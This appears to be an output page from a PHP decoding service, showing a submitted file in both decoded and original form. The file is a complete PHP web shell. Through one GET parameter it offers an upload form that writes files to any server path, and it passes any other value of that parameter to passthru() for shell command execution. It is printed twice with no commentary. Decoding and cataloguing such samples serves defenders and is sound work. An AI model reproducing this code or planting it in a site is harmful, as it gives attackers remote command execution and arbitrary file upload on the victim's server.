Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? if ($_GET['n1f3r']=='up') { $docr = $_SERVER["DOCUMENT_ROOT"]; echo <<<HTML <table..

Decoded Output download

<? 
if ($_GET['n1f3r']=='up') 
{ 
$docr = $_SERVER["DOCUMENT_ROOT"]; 
echo <<<HTML 
<table> 
<form enctype="multipart/form-data" action="$self" method="POST"> 
<input type="hidden" name="ac" value="upload"> 
<tr> 
<td><font size="1">Your File : </font> </td> 
<td> 
<input size="48" name="file" type="file" style="color: #008000; font-family: Arial; font-size: 8pt; font-weight: bold; border: 2px solid #008000; background-color: #000000"></td> 
</tr> 
<tr> 
<td><font size="1">Upload Dir : </font> </td> 
<td> 
<input size="48" value="$docr/" name="path" type="text" style="color: #008000; font-family: Arial; font-size: 8pt; font-weight: bold; border: 2px solid #008000; background-color: #000000"> 
<input type="submit" value="Upload  " style="color: #008000; font-family: Arial; font-size: 8pt; font-weight: bold; border: 2px solid #008000; background-color: #000000"></td> 
$tend 
</table> 
HTML; 
 
if (isset($_POST["path"])){ 
 
$uploadfile = $_POST["path"].$_FILES["file"]["name"]; 
if ($_POST["path"]==""){$uploadfile = $_FILES["file"]["name"];} 
 
if (copy($_FILES["file"]["tmp_name"], $uploadfile)) { 
    echo "File uploaded to : $uploadfile
"; 
    echo "- Size : " .$_FILES["file"]["size"]. "
"; 
 
} else { 
    print "Error  Upload File :
"; 
} 
} 
} 
?> 
<?php 
if(!empty($_GET['n1f3r'])){ 
        echo'<pre>'; 
        passthru($_GET['n1f3r']); 
        echo'</pre>'; 
        exit; 
} 
?>

Did this file decode correctly?

Original Code

<?
if ($_GET['n1f3r']=='up')
{
$docr = $_SERVER["DOCUMENT_ROOT"];
echo <<<HTML
<table>
<form enctype="multipart/form-data" action="$self" method="POST">
<input type="hidden" name="ac" value="upload">
<tr>
<td><font size="1">Your File : </font> </td>
<td>
<input size="48" name="file" type="file" style="color: #008000; font-family: Arial; font-size: 8pt; font-weight: bold; border: 2px solid #008000; background-color: #000000"></td>
</tr>
<tr>
<td><font size="1">Upload Dir : </font> </td>
<td>
<input size="48" value="$docr/" name="path" type="text" style="color: #008000; font-family: Arial; font-size: 8pt; font-weight: bold; border: 2px solid #008000; background-color: #000000">
<input type="submit" value="Upload  " style="color: #008000; font-family: Arial; font-size: 8pt; font-weight: bold; border: 2px solid #008000; background-color: #000000"></td>
$tend
</table>
HTML;

if (isset($_POST["path"])){

$uploadfile = $_POST["path"].$_FILES["file"]["name"];
if ($_POST["path"]==""){$uploadfile = $_FILES["file"]["name"];}

if (copy($_FILES["file"]["tmp_name"], $uploadfile)) {
    echo "File uploaded to : $uploadfile\n";
    echo "- Size : " .$_FILES["file"]["size"]. "\n";

} else {
    print "Error  Upload File :\n";
}
}
}
?>
<?php
if(!empty($_GET['n1f3r'])){
        echo'<pre>';
        passthru($_GET['n1f3r']);
        echo'</pre>';
        exit;
}
?>

Function Calls

None

Variables

None

Stats

MD5 9ffcc9f22e5a84b015fc39fdb1a1b1ac
Eval Count 0
Decode Time 135 ms